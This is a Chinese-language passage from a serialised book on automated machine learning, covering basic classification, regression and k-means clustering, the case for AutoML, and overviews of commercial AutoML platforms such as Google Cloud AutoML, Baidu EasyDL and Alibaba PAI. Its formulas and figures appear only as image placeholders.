        无监督学习,其数据是不需要被标记的,在我们的现实世界中的数据大多数也都是不带标签的,标记数据会浪费大量的人力物力,因此这类算法是非常有用的。无监督学习主要分为聚类和降维。聚类是指,根据数据的特征和行为对象进行分组,这里说的分组与分类算法是不同的,分类算法的组是人为规定的,而聚类算法中的组,则是由计算机自定义的,不是人为规定。聚类,将一组数据划分成不同的子组,如年龄、性别这样的特性,然后再将其应用到特定问题中。降维,则是通过找到数据间的共同点,来减少数据集的变量,减少冗余的发生。降维也是后文将会提到的特征工程中的一个重要方面。
        下面我们将逐一介绍机器学习中一些经典问题,分别是分类问题、回归问题和聚类问题。

        3.2.1 分类问题

        在机器学习中,最常见的问题就是分类问题了。所谓分类问题,就是对输入数据,进行分类。通常,将能够完成分类任务的算法,称为分类器(Classifier)。即找到一个函数判断输入数据所属的类别,可以是二分类问题(是或不是),也可以是多分类问题(在多个类别中判断输入数据具体属于哪一个类别)。分类问题的输出值是离散的,其输出结果是用来指定其属于哪个类别。
        分类问题的求解过程可以分为以下3个步骤:
        1)确定一个模型,输入样本数据,最后输出其类别;
        2)定义损失函数;
        3)找出使损失函数最小的那个最优函数。
        通过这种方法,可以直接计算出寻找到的最优函数,即样本属于每个类别的概率,这种方法被称为判别式(Discrimination)方法,因为其可以直接对样本所属类别进行判断,相应的模型也可以称为判别式模型。如果借助概率论的知识,分析每一类的特征,这样就可以将二分类问题应用到多分类问题中。以最简单的二分类为例,建模,使用条件概率,进行如下转换:
        image.png
        对于给定的样本数据,与类别无关,因此只需要考虑和,这两个分布正好是每一类样本的特征,因此只对这两个分布进行研究。
        是类先验概率,即在未知其他条件下对事件发生概率的表示,这个值是通过以往经验和分析(历史数据)得到的结果。根据大数定律,当训练样本中包含充足的独立同分布样本时,可以通过各类样本的出现频率进行估计;与类先验概率相对应的是类后验(Posterior)概率,即需要建模的目标,表示在已知条件下事件发生的概率。
        是类条件(class-conditional)概率,即在某个特定类别下,样本的发生概率。它是涉及关于样本所有特征的联合概率,如果有个特征且取值均为二值,那么样本空间大小将是,现实中训练样本的大小往往远小于这个值,因此通过频率估算显然是不可行的,因为“未被观测到”不等于“出现概率为0”。那么就需要应用其他方法进行求解了,如高斯分布、极大似然估计、朴素贝叶斯分类等。
        1.高斯分布
        通常,假定类条件概率符合某种确定的概率分布,训练样本都是从这个分布中随机采样得到的,“未被采样到的点”也对应一个发生概率。某种确定的概率分布通常被假设为高斯分布(Gaussian Distribution),现在就需要根据训练样本确定高斯分布的参数。多元高斯分布的概率密度函数如下:
        image.png
        其中是的维数,是均值向量,是协方差矩阵,决定了分布的最高点,决定了分布的形状。
        2.极大似然估计
        任何一个高斯分布都可以采样出训练样本,但是分布的不同,采样出训练样本的可能性是不一样的,对给定和采样出训练样本的可能性可以写作:
        image.png
        表示训练样本中属于类别的样本数目。最大化上面的似然函数,找出的和就是最佳参数。
        image.png
        该方法被称为最大似然估计(Maximum Likelihood Estimation,MLE),参数和的最大似然估计为:
        image.png
        也就是说,最佳是样本均值,协方差矩阵是的均值。现在已经计算出每个类别的和,这样就可以选择较大的那个类别作为的类别。
        3.朴素贝叶斯分类
        如果假设样本的所有特征值都是相互独立的,那么可以写成:
        image.png
        其中,是特征数目,是第个属性。同样可以假设每一维特征上的概率分布仍然服从高斯分布,此时的高斯分布是一个一维高斯分布,对应一个实值,组成协方差矩阵也只在对角线位置有值,进一步减少了参数数目,得到了更简单的模型。这样的模型被称作朴素贝叶斯分类器(Naive Bayes classifier,NB)。最后,对于样本分布不一定要选择高斯分布,例如如果是二值分布,可以假设符合伯努利分布,具体应用中要根据样本特点具体而定。

        3.2.2 回归问题

        回归(Regression)模型是指机器学习方法学到的函数的输出是连续实数值,它主要适用于预测问题,常见模型包括基础的线性回归模型和多项式回归模型。
        线性回归
        按照机器学习建模的3个步骤,首先需要确定选用的模型,基于问题我们很容易知道此处应使用线性回归(Linear Regression)模型,然后将其形式化表达:
        image.png
        其中,是样本数据的维特征描述,每一组和能确定一个不一样的,和的所有取值组合就构成了可选函数集合,而回归任务要做的就是如何从这个函数集合中选出“最好”的那个函数。
        对于训练数据集D描述如下:
        image.png
        其中,是样本的维特征向量表示,是样本标记。线性回归的目标是学到一个线性函数以尽可能准确地预测实值输出标记。
        因此需要确定一个衡量标准,来度量一个函数的好坏,这就需要损失函数(Loss Function)。根据线性回归的目标,只需要度量与之间的差距,均方误差(Mean Square Error,MSE)是回归任务中最常用的损失函数。
        image.png

        3.2.3 聚类问题

        常见的聚类问题的算法当属k-means算法了,k-means算法的核心思想是簇识别。假定有一些数据,把相似数据归到一起,簇识别会告诉我们这些簇到底是什么。簇的个数是用户给定的,每一个簇都有一个“心脏”—聚类中心,也叫质心(centroid)。聚类与分类的最大不同是,分类的目标事先已知,而聚类则不知道分类标签是什么,只能根据相似度来给数据贴上不同的标签。相似度的度量最常用的是欧氏距离。k-means算法的基本流程如下:
        1)给定输入训练数据:
        image.png
        2)随机选择初始的k个聚类中心:
        image.png
        3)对每个样本数据,将其类别标号设为距离其最近的聚类中心的标号:
        image.png
        4)将每个聚类中心的值更新为该类别所有样本的平均值:
        image.png
        5)重复第3步与第4步,直到算法收敛为止,此时的聚类中心将不再移动。
        k-means算法的优化目标函数表示如下:
        image.png
        由于这个目标函数不是凸函数,因此不能保证算法会收敛到一个全局最优值,只能保证收敛到一个局部最优值。解决这个问题有两种方法:一是随机初始化多次,以最优的聚类结果为最终结果;二是二分k-means算法。

        3.3 自动化机器学习

        3.3.1 机器学习面临的问题

        机器学习的步骤如图3-2所示,就一般情况而言,算法工程师的任务一般从特征工程开始。
        image.png

        图3-2 机器学习知识图谱

        特征工程是数据分析中最耗费时间精力的一部分工作,它不像算法和模型是确定的步骤,而大多情况下要依靠算法工程师的个人经验来处理。这样的特征工程具有很强的不确定性,如漏选特征、选到了无效特征、忽略高级特征等。漏选特征会造成信息的缺失,使模型效果变差;而加入了无效特征会让模型变大,增加了不必要的计算量;高级特征需要通过一般特征的运算来得到。还有其他问题,如缺失值、离散特征连续化、归一化、标准化、数据清洗等。
        而在模型选择阶段,也需要依靠算法工程师的经验来做,算法工程师通常是根据特征工程后的数据来进行选择。
        之后会进行模型评估阶段,通过模型评估来决定模型是否能运用在实际生产中。如果模型未能通过评估,就需要重新返工,重新进行数据收集、特征工程、模型选择过程。这是相当耗费时间的工作并且需要十分丰富的经验。在实际生产中,大多数情况下可能并不能生成理想的模型,并且会耗费大量的时间。

        3.3.2 为什么会产生AutoML

        为了解决上述问题而诞生了AutoML,AutoML试图将这些特征工程、模型选择以及参数优化等重要步骤进行自动化学习,使得机器学习模型无需人工参与即可被应用。
        从前节可见,机器学习的泛化受到了诸多条件的制约,此时急需一种更加通用的方案来解决上述问题,这就产生了AutoML。AutoML是一个将从根本上改变基于机器学习解决方案现状的方案。
        AutoML是一个控制神经网络提出一个可以在特定任务上训练和评测性能的子模型架构,测试的结果会反馈给控制器,让控制器知道下一轮如何改进自己的模型。自动机器学习集中在以下两个方面:数据采集和模型预测。在这两个阶段之间所有发生的步骤将被自动机器学习抽象出来。实际上,用户只需要提供自己的数据集、标签并按下一个按钮来生成一个经过全面训练的和优化预测的模型。大多数平台都提示用户来上传数据集,然后对类别进行标记。之后,在数据预处理、模型选择、特征工程和超参数优化中涉及的大部分步骤将在后台进行处理。这种方法极大地改变了在训练机器学习模型中涉及的传统工作流。
        AutoML完全改变了整个机器学习领域的游戏规则,因为对于许多应用程序,不需要专业技能和知识。许多公司只需要深度网络来完成更简单的任务,例如图像分类。那么他们并不需要雇用一些人工智能专家,他们只需要能够数据组织好,然后交由AutoML来完成即可。

        3.4 参考文献

        [1] Samuel A L. Some Studies in Machine Learning Using the Game of Checkers. Ⅱ-Recent Progress [M]//LEVY D. Computer games I. New York: Springer, 1988: 366-400.
        [2] 李航.统计学习方法[M].北京:清华大学出版社,2012.
        [3] 周志华.机器学习[M].北京:清华大学出版社,2016.
        [4] 周志华.机器学习与数据挖掘[J].中国计算机学会通讯,2007, 3(12): 35-44.
        [5] 阿培丁.机器学习导论[M].范明,昝红英,牛常勇,译.北京:机械工业出版社,2009.
        [6] ALPAYDIN E. Introduction to machine learning[M]. 3th ed. Cambridge, MA:MIT Press, 2014.
        [7] BISHOP C M. Pattern recognition and machine learning[M]. New York: Springer, 2006.
        [8] CARBONELL J G. Machine learning: paradigms and methods[M]. Amsterdam: Elsevier North-Holland, 1990.
        [9] DIETTERICH T G. Machine-learning research[J]. AI magazine, 1997, 18(4): 97-97.
        [10] RUMELHART D E, HINTON G E, WILLIAMS R J. Learning representations by back-propagating errors[J]. Cognitive modeling, 1988, 5(3): 1.
        [11] COVER T M, HART P E. Nearest neighbor pattern classification[J]. IEEE transactions on information theory, 1967, 13(1): 21-27.
        [12] DALAL N, TRIGGS B. Histograms of oriented gradients for human detection[C]//IEEE Computer Society. Proceedings of the 2005 IEEEconference on computer vision andpattern recognition. Washington, DC:IEEE Computer Society, 2005, 1: 886-893.
        [13] KAZEMI V, SULLIVAN J. One millisecond face alignment with an ensemble of regression trees[C]//IEEE Computer Society. Proceedings of the 2014 IEEE conference on computer vision and pattern recognition. Washington, DC:IEEE Computer Society, 2014: 1867-1874.
        [14] HAND D J, TILL R J. A simple generalisation of the area under the ROC curve for multiple class classification problems[J]. Machine learning, 2001, 45(2): 171-186.

        ]]>
        带你读《深入理解AutoML和AutoDL:构建自动化机器 学习与深度学习平台》之二:自动化人工智能 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章
        第2章

        自动化人工智能

        我们在第1章主要概述了人工智能,并在1.5节中引出了AutoML—自动化人工智能,本章将介绍AutoML,包括AutoML的概述、发展、研究意义以及现有的AutoML平台和产品,其中还会穿插介绍一些平台的应用实例。本章只介绍概念性知识,关于AutoML的实际运用将在第二部分(第3~6章)和第三部分(第7~13章)详细展开。

        2.1 AutoML概述

        传统的人工智能旨在使用机器帮助人类完成特定的任务,随着人工智能的发展,在计算机领域衍生出了机器学习。机器学习旨在通过计算机程序完成对数据的分析,从而得到对世界上某件事情的预测并做出决定。随着机器学习的不断发展,其复杂程度也在不断增高,如果还完全依靠人为规定,使计算机按照设定的规则运行,会耗费大量的人力资源。如果让计算机自己去学习和训练规则,是否能达到更好的效果呢?跟随这一意愿的提出,就出现了本书的核心思想—自动化人工智能,也就是所谓“AI的AI”。让AI去学习AI,从而减少人工的参与,让机器完成更复杂的工作,这掀起了下一代人工智能的浪潮。

        2.1.1 什么是自动化

        在介绍自动化人工智能之前,先让我们了解一下什么是自动化。传统的自动化是指让机器等设备在没有人或者只有较少人参与的情况下,按照人的要求,完成一系列任务。自动化被广泛应用于各种行业,包括农业、工业、商业、医疗等领域。从20世纪40年代中期电子数字计算机的发明开始,数字程序控制便成为了一个新的发展方向。20世纪50年代末期,微电子技术开始发展,1958年出现晶体管计算机,1965年出现集成电路计算机,1971年出现单片微处理器。微处理器的出现对控制技术产生了重大影响,控制工程师可以很方便地利用微处理器来实现各种复杂的控制,使综合自动化成为现实。
        自动化的概念跟随时代变化不断发展。以前,自动化被认为是让机器代替人工操作、完成复杂的特定工作任务。后来随着电子和信息技术的发展,特别是随着计算机的出现和广泛应用,自动化的概念被认为是用机器(包括计算机)不仅要代替人的体力劳动,还要代替或辅助脑力劳动,以自动地完成特定的任务。
        随着自动化的发展,各行各业对于自动化的需求不断增加,且对人工智能的普及和应用的要求也越来越高,成本、精确度、效率等都影响着人工智能在现实生活中的应用。在人工智能应用的快速增长中,为了提高其水平,出现了对机器学习的需求。
        那么如何将自动化的思想应用到机器学习中呢?

        2.1.2 AutoML的起源与发展

        AutoML(Automated Machine Learning,自动化机器学习),即一种将自动化和机器学习相结合的方式,是一个新的研究方向,它可以使计算机独立完成更复杂的任务,从而解放人类的双手。
        在AutoML发展前,传统的机器学习需要经历数据预处理、特征选择、算法选择和配置等,而传统的深度学习则需要经历模型架构的设计和模型的训练。上述这些步骤都需要人工来操作,不仅耗时耗力,而且对专业人员的需求也比较大,结合现实生活中人们日益增长的需求,这限制了人工智能在其他领域的应用发展。
        因此,出现了这样的想法:将机器学习中的数据预处理、特征选择、算法选择等步骤与深度学习中的模型架构设计和模型训练等步骤相结合,将其放在一个“黑箱”里,通过黑箱,我们只需要输入数据,就可以得到我们想要的预测结果。中间这个“黑箱”的运行过程,不需要人工的干预便可以自动完成,而这个自动化的系统就是我们这本书的重点—AutoML。
        图2-1为AutoML的一个通用运行流程,也就是上面提到的,将所有运行流程都封装在一个“黑箱”中,我们只需要输入数据集,便可得到预测结果。
        AutoML主要关注两个方面—数据的获取和预测。目前已经出现了很多AutoML平台(见2.3节),用户在使用这些平台时,可以使用自己带的数据集,识别标签,从而得到一个经过充分训练且优化过的模型,并用该模型进行预测。大多数平台都会提示用户上传数据集,然后标记类别。在此之后,数据预处理、选择正确的算法、优化和超参数调整等步骤都是在服务器上自主进行的。最后,平台将公开一个可用于预测的REST端点。这种方法显著改变了训练机器学习模型中涉及的传统工作流。
        一些AutoML平台还支持导出与运行Android或iOS的移动设备兼容的、经过充分训练的模型。开发人员可以快速地将模型与他们的移动应用程序整合在一起,而无须学习机器学习的基本知识。
        image.png

        图2-1 AutoML通用流程

        许多公司将AutoML作为一种服务提供给用户。Google Cloud AutoML、Microsoft Custom Vision和Clarifai的图像识别服务都是早期的AutoML使用者。另外很多大公司内部也都有自己的平台,例如Uber、OpenAI、DeepMind等都在NAS任务上做研究。从发展趋势来看,AutoML是未来人工智能发展的一个重要方向,但现阶段的研究成果成熟度和实际产品应用成熟度都存在巨大的提升空间。
        AutoML完全适合于认知API和定制机器学习平台。它提供了适当的定制级别,而非强制开发人员执行复杂的工作流。与以往被视为“黑箱”的认知API相比,AutoML虽然公开了相同程度的灵活性,但是结合了自定义数据和可移植性。
        随着每一个平台供应商都试图实现机器学习的大众化,AutoML正在成为人工智能的未来。图2-2是基于AutoML平台所具有的功能,在AutoML平台上可以实现多个领域的融
        image.png

        图2-2 AutoML平台具备的功能

        合,既可以完成语音领域的任务,如自动语音识别系统、聊天机器人、文本语音系统;也可以完成声纹领域的任务,如声纹识别系统;还可以完成图像领域的任务,如计算机视觉、图像识别、目标检测等。

        2.2 AutoML的研究意义

        2.2.1 AutoML的研究动机

        传统的机器学习在解决问题时,首先需要对问题进行定义,然后针对特定问题收集数据,由专家对数据特征进行标定、提取特征、选择特征,然后根据所选特征训练模型、对模型进行评估,最后部署到应用上,以解决最初提出的问题。其中数据收集、特征提取、特征选择、模型训练和模型评估的过程,是一个迭代的过程,需要反复进行、不断优化才能得到较优的模型。这个过程非常耗时费力,那么AutoML呢?AutoML可以将传统机器学习中的迭代过程综合在一起,构建一个自动化的过程,实现自动特征工程、自动管道匹配、自动参数调整、自动模型选择等功能,从而减少时间和人力等资源的浪费。图2-3所示是传统机器学习和自动化机器学习的对比。
        image.png

        图2-3 传统机器学习和自动化机器学习对比

        (1)传统机器学习是一个烦琐且耗时的过程
        传统的AI模型训练往往要经历特征分析、模型选择、调参、评估等步骤,这些步骤需要经历数月的时间,如果完全没经验,时间会更长。AutoML虽然也需要经历这些步骤,但是通过自动化的方式,可以减少这些步骤的时间。选择怎样的参数,被选择的参数是否有价值或者模型有没有问题,如何优化模型,这些步骤在从前是需要依靠个人的经验、知识或者数学方法来判断的。而AutoML可以完全不用依赖经验,而是靠数学方法,由完整的数学推理的方式来证明。通过数据的分布和模型的性能,AutoML会不断评估最优解的分布区间并对这个区间再次采样。所以可以在整个模型训练的过程中缩短时间,提升模型训练过程的效率。
        (2)传统机器学习有一定难度,准入门槛高
        模型训练的难度使得很多初学者望而却步,即使是数据专家也经常抱怨训练过程是多么令人沮丧和变化无常。没有经过一定时间的学习,用户很难掌握模型选择、参数调整等步骤。
        AutoML可以降低使用机器学习的门槛,它作为一个新的AI研究方法,将机器学习封装成云端产品,用户只需提供数据,系统即可完成深度学习模型的自动构建,从而实现自动化机器学习。
        AutoML将会成为机器学习发展的最终形态,即机器自己完成学习任务,这样基于计算机强大计算能力所获得的模型将优于人类对它定义的模型。从使用的角度来讲,必定会有更多非专业领域的人受益于AutoML的发展。
        图2-4展示的是一个使用AutoML进行图片分类的简单问题。首先上传图片并对图片进行标注;接着被标注过的图片会输入到视觉处理系统中,由视觉处理系统根据上传的图片,对标注区域的特征进行提取,并进行特征的预处理,之后根据图片特征,自动构建神经网络结构并训练该模型;经过不断地评估和优化,最后得到一个预测模型。
        image.png

        图2-4 使用AutoML进行图片分类

        2.2.2 AutoML的意义和作用

        21世纪是一个信息的时代,各行各业都面临着一个同样的问题,那就是需要从大量的信息中筛选出有用的信息并将其转化为价值。随着机器学习2.0的提出,自动化成为了未来机器学习发展的一个方向。如图2-5所示,各行各业都涉及机器学习,机器学习已经融入我们生活的方方面面,比如金融、教育、医疗、信息产业等领域。

        image.png


        图2-5 机器学习可赋能产业

        对于一个机器学习的新人来说,如果他想使用机器学习,则会遇到很多的障碍,也会受到很多的限制,例如:该怎样处理数据、如何选择模型、使用怎样的参数、模型效果不好该如何优化等。AutoML使得机器学习大众化,让这些连专业术语都不懂的人,也可以使用机器学习。他们只需要提供数据,AutoML便会自动得出最佳的解决方案。而对于有一定机器学习基础的人来说,则可以自己选择模型、参数,然后让AutoML帮助训练模型。
        AutoML带来的不仅仅是自动化的算法选择、超参数优化和神经网络架构搜索,它还涉及机器学习过程的每一步。从数据预处理方面,如数据转换、数据校验、数据分割,到模型方面,如超参数优化、模型选择、集成学习、自动化特征工程等,都可以通过AutoML来完成,从而减少算法工程师的工作量,使他们的工作效率得到进一步提升。
        图2-6所示为2018年各人工智能行业的资金投入量,其中机器学习领域的资金投入量最大,说明了机器学习对于现在的人工智能的重要性。在其他领域,自然语言处理、计算机视觉、智能机器人、语音识别等,资金投入量也不容小觑。AutoML可以融合上述方面,实现自动化。目前,人工智能领域也确实是朝着这个方向发展,将各个行业融合在一起,只需要一个AutoML的服务器,即可实现各个领域的融合,方便用户的使用,使其更快地融入我们的现实生活,方便我们的生活。
        (1)AutoML解决了人工智能行业人才缺口的瓶颈
        对于急速发展的人工智能领域来说,人才的培养显得有些不足。人工智能的发展时时刻刻都在变化,而培养一批该行业的专业人员通常需要几年的时间。以青年人群为例,从上大学开始,学校才会根据专业对他们进行培养。如果选择计算机专业,本科教育通常只会让他们了解到计算机的基础知识,使其具备基本的编程能力;通常到研究生阶段,才会接触到机器学习等复杂的人工智能。这就需要至少6年的时间才能培养出一批机器学习领域的从业人员。这样长的人才培养周期是无法跟上人工智能行业快速发展的脚步的,而AutoML就很好地解决了这一问题。AutoML可以提供自动化的服务,对于曾经需要人工参与的数据处理、特征处理、特征选择、模型选择、模型参数的配置、模型训练和评估等方面,实现了全自动,仅凭机器就可以独立完成这一系列工作,不需要人工干预,从而减少了人力资源的浪费,解决了人才紧缺的问题。
        image.png

        图2-6 2018年各人工智能行业资金投入量

        但是,这就涉及另一个问题了,既然机器可以完成大部分的工作,是否会造成相关专业人员的失业问题呢?其实,这个答案必然是否定的,AutoML可以解决人才紧缺的状况,但是并不代表它能取代专业人士。现有的AutoML平台虽然可以完成这些步骤的自动化处理,但是其中的规则仍然需要人工设定,也就是说,专业人士并不会面临失业的困境,而是要做更高端的工作。
        (2)AutoML可以降低机器学习的门槛,使AI平民化
        前文已经提到过很多次,机器学习的自动化可以降低机器学习的入门门槛。无论是机器学习新人、机器学习行业从业者,还是机器学习行业专家,都可以很好地适应AutoML,并使用它提供的服务。对于机器学习新人来说,只需要提供数据集上传至AutoML服务器,即可得到预测结果;对于机器学习行业的从业者而言,可以自主选择其中的参数;对于机器学习行业专家来说,可以在AutoML平台设置更多的参数,或者进一步研发AutoML。
        (3)AutoML可以扩大AI应用普及率,促进传统行业变革
        AutoML可以涉及图像识别、翻译、自然语言处理等多种AI技术与产品。以自然语言处理为例,比如一个小的电商网站想对收集到的大量用户评价进行分析,了解这些评价是正面的还是负面的,以及提到了哪方面的问题。从前需要人工进行标注,现在用AutoML自然语言处理,就可以很简单地训练一个属于自己的模型,自动化地做标注和分析。
        如今,AI技术的普及和发展,使得各个行业都逐步意识到AI技术对于产业、产品方面的优化作用。但是,作为金融、制造、消费、医疗、教育等传统企业,从无到有应用AI的成本往往不低,使得很多企业虽然有着需求但对于应用AI望而却步。
        AutoML作为这类问题的解决方案,使得越来越多的科技企业开始研发AutoML平台,目的就是为不懂技术的传统企业提供使用AutoML技术的捷径,从而达到人人皆可用AI的局面。AutoML作为一个新的AI研究方法,扩展了AI研究能够到达的边界,然后又在其上构建了AutoML的应用平台及产品,让AI的应用得到了较为有效的扩展,让更多行业都可以用AI解决现实世界中的问题。

        2.3 现有AutoML平台产品

        2.3.1 谷歌Cloud AutoML

        1.简介
        Cloud AutoML(https://cloud.google.com/automl)是一套机器学习产品,通过利用Google最先进的元学习、迁移学习和神经架构搜索技术,使机器学习专业知识有限的开发人员也能根据业务需求训练高质量模型。Cloud AutoML主要提供以下3个领域的AutoML服务:图像分类、文本分类以及机器翻译。在图像分类领域,谷歌提供了大量标注良好的人类图像供开发者使用,同时提供了标注工具允许开发者自行对图像进行标注。
        2.使用方式
        谷歌Cloud AutoML系统提供了图像用户界面,以及Python API、Java API和Node.js API等使用方式。
        首先来看看图形用户界面(见图2-7),它按照数据准备、训练、评估、预测等步骤进行组织,使用者只需要按照规定执行一步就可以完成整个过程。
        image.png

        图2-7 Cloud AutoML图形用户界面

        再来看看通过API的方式进行接口调用,以Python为例,如图2-8所示。
        image.png

        图2-8 Cloud AutoML的API调用

        使用者可以根据自身的习惯和需要,选择图形界面方式或者API方式并使用自己熟悉的语言去完成整个流程,从而保证该平台的通用性。从这个角度而言,该平台既可以有效服务入门级使用者,也可以服务专家级算法工程师并与大型项目对接。
        Cloud AutoML中重要的一环Cloud AutoML Vision代表了深度学习去专业化的关键一步。企业不再需要招聘人工智能专家来训练深度学习模型,只需要有简单基础的人通过Web图像用户界面上传几十个示例图像,点击一个按钮即可完成整个深度神经网络的构建与训练,同时完成后可以立即部署于谷歌云上进入生产环境。
        3.迁移学习与元学习的运用
        Cloud AutoML利用了元学习与迁移学习。元学习与迁移学习可以有效利用过去的训练经验与训练数据,这意味着用户不再像过往那样需要提供海量的数据进行模型训练,而只需要提供较少的数据就可以完成一个图像分类器的训练并应用于特定场景。这背后是谷歌大量的基础训练数据源和训练经验与记录的支撑。
        另外,迁移学习与元学习的应用涉及用户数据隐私与平台性能的权衡问题。如果Cloud AutoML可以将用户的数据与训练经验都积累起来并提供给其他用户使用,那么该平台的底层数据积累便会越来越雄厚,其使用效果也会越来越好。但是,大多数客户都不会希望自己的数据被泄漏,因此上述的美好愿景也不一定能实现。

        2.3.2 百度EasyDL

        1.简介
        不同于传统意义上的AutoML,EasyDL是一个专门针对深度学习模型训练与发布的平台。在EasyDL之前,百度就已经有了深度学习计算引擎PaddlePaddle。PaddlePaddle是一个类似于谷歌TensorFlow的专业级计算平台,目标群体是有一定计算机与算法基础的专业AI算法工程师。
        除此之外,百度还有百度AI开放平台,用户可以通过平台提供的API付费调用百度的AI算法能力实现自己的需求。但是AI开放平台的算法模型很多时候难以覆盖全部的场景,因此对于很多企业而言,还存在着大量等待被满足的定制化需求。
        EasyDL平台的出现是为了解决AI赋能行业的这个痛点,以一种便捷高效的方式满足这些定制化深度学习模型需求以及伴随而来的其他需求。用户上传自己的数据,在平台上进行数据标注、加工、训练、部署和服务,最终得到云端独立的REST API或一个离线SDK,从而方便地将模型部署到自己的业务场景中。
        目前该平台提供图像识别、文本分类、声音分类等服务分类(见图2-9)。图像识别领域支持图像分类以及物体检测,文本分类领域支持广泛的文本分类,而声音分类领域提供音频定制化识别服务。
        image.png

        图2-9 EasyDL的3个主要服务领域

        目前EasyDL的各项定制能力在业内得到广泛应用,用户累计过万,在零售、安防、互联网内容审核、工业质检等数十个行业都有应用落地,并提升了这些行业的智能化水平和生产效率。
        2.使用方式
        由于目标群体主要为没有相关专业知识但又想要利用AI进行行业赋能的外行使用者,EasyDL提供了一个流水线式的可视化界面(见图2-10)。其功能分为数据中心与模型中心:数据中心负责数据集的管理与标注,模型中心负责训练与部署。
        使用者基本上无需机器学习的专业知识,只需要对过程有简单的了解,跟随界面的流程执行模型创建—数据上传—模型训练—模型发布等流程,中间的过程平台会通过迁移学习、自动化建模技术等方式完成。
        3.自动化建模技术
        在自动化建模上,EasyDL平台有两种不同的方法:一种是基于迁移学习的Auto Model Search,另一种是基于神经架构搜索的模型自动生成方法。
        image.png

        图2-10 EasyDL的可视化界面

        基于迁移学习的Auto Model Search方法是针对用户数据集的类型,在适用于该类型数据集的过去被证明优秀的预训练模型中进行搜索,如Inception、ResNet、DenseNet等,并结合不同的超参数组合进行训练与选择;每一个模型都会结合其配置的超参组合进行训练,这个过程可以通过百度的workflow等高性能底层计算平台进行并行加速。
        对于某些对性能需求更高的用户而言,上述方式不一定能够把模型性能推到极致;因此还需要基于神经架构搜索NASNet的方法,该方法能够针对用户的数据集从零开始生成一个最适配的模型,从而确保性能可以达到最优,但是相对的计算成本也会更高;在本书的后续章节会对NASNet等神经架构搜索方法进行讲解。
        这些过程都是在底层自动完成的,用户完全不需要操心中间的细节问题。

        2.3.3 阿里云PAI

        1.简介
        阿里云机器学习PAI(Platform of Artificial Intelligence)是一款一站式的机器学习平台,包含数据预处理、特征工程、常规机器学习算法、深度学习框架、模型的评估以及预测这一整套机器学习相关服务(见图2-11)。
        2.面向大规模计算与多场景多业务的产品架构
        PAI包含数据预处理、特征工程、机器学习算法等基本组件;所有算法组件全部脱胎于阿里巴巴集团内部成熟的算法体系,经受过PB级别业务数据的锤炼。阿里巴巴内部的搜索系统、推荐系统、蚂蚁金服等项目在进行数据挖掘时,都是依赖机器学习平台产品。如图2-12所示,PAI平台的业务十分广泛,支持多种计算框架。算法层不仅包含数据预处理、特征工程等基本算法,也涵盖各种机器学习算法、文本分析和关系网络分析等。
        image.png

        图2-11 阿里云PAI工作流程图

        image.png

        图2-12 阿里云PAI产品架构图

        3.丰富的机器学习模块库
        阿里云可以快速搭建数据预处理、特征工程、算法训练、模型预测和评估的整个链路,提供百余种机器学习算法组件,深耕深度学习计算架构,底层支持GPU分布式集群计算,功能可覆盖数据导入与处理、数据特征工程、机器学习深度学习、商品推荐、金融数据预测与风控、文本分析、统计分析、网络图分析等常见场景。
        4.拖曳式可视化建模—PAI Studio
        PAI提供了3种不同的模式:为新手设计的可视化PAI Studio模式、为高级使用者设计的PAI Notebook模式,以及专门针对生产部署的PAI EAS模式。
        PAI Studio可视化模式允许客户通过拖曳组件的方式完成整个机器学习的流程(见
        图2-13),用户无须过多关注底层的代码和算法,简单使用与测试即可。
        image.png

        图2-13 阿里云PAI拖曳式组件

        数据导入:首先将数据存入阿里云的MaxCompute系统中,接着就可以轻松导入数据。
        数据预处理与建模全流程:全流程都可以通过拖曳完成,拖曳后简单设置一下相应的参数与属性即可。图2-14是一个简单的建模流程示例。
        image.png

        图2-14 阿里云PAI建模流程示例

        5.工业级机器学习自动调参与部署服务
        PAI提供了从模型自动调参到一键部署,再到线上的流式计算服务等一条龙的工业级模型部署方案;打通了从模型调参到部署的环节,通过自动化的手段大幅提高各个环节与阶段的生产效率。
        PAI-AutoML支持几种调参方法,如自定义参数、网格搜索、随机搜索以及进化算法等,也支持不同情况下的调参需求。
        PAI自动调参功能对于资深算法工程师以及入门者都有很大价值。针对入门用户,该类用户不清楚算法原理,因此无法高效调参,所以自动调参可以快速帮助这部分用户解决这个困扰。针对资深算法工程师,尽管其对于调参有一定经验,但是这种经验往往只能在大方向上指导调参,对于一些细节参数仍需要不断重复尝试,而自定义调参功能可以代替这部分重复性劳动。
        在生成模型后,可以在PAI平台一键将模型发布成API服务。只要点击部署按钮,就会列出当前实验可部署的模型,选择需要的模型就可以一键完成部署,图2-15所示的是一个心脏病预测案例的模型在线部署示例。
        image.png

        图2-15 阿里云PAI模拟在线部署示例图

        2.3.4 探智立方DarwinML

        1.简介
        探智立方是一家开发人工智能相关技术和解决方案的科技公司,公司主要基于AutoML理念,开发人工智能模型自动设计平台DarwinML,降低人工智能的应用门槛,让各行业的IT人员、行业专家能更便捷地将人工智能相关技术落地于各种适合并需要的场景中,解决广大企业面临的人工智能人才及能力不足的问题。
        DarwinML是以机器学习及基因演化理论为基础的人工智能模型自动设计平台,是一种基于进化算法的神经架构搜索方法。谷歌在2018年发表的一篇基于进化算法的论文证明了采用进化算法也可以取得超越专家工程师的效果,本书后续章节也会有相关内容的介绍。
        图2-16为探智立方的roadmap规划。
        image.png

        图2-16 探智立方roadmap规划图


        由于该公司没有AI开放平台与试用产品,因此无法提供使用调研信息。
        2.进化架构搜索
        进化架构搜索是基于进化算法一代又一代进行搜索与升级的方法,如图2-17所示。每一次模型的生成都会从最简单的网络开始,逐渐通过交叉与变异等算子形成复杂的大型网络。
        3.统计进化
        DarwinML还采用了基于统计分析的进化算法的元学习思路,在不断的模型演化过程中,可以保存发现的好的模型基因和高效的模型演化路径形成基因库。有了这些经验与积累,平台的算法能力就会不断提高,进而提高模型演化的效率和演化出模型的质量。
        image.png

        图2-17 进化架构搜索图

        2.3.5 第四范式AI Prophet AutoML

        1.简介
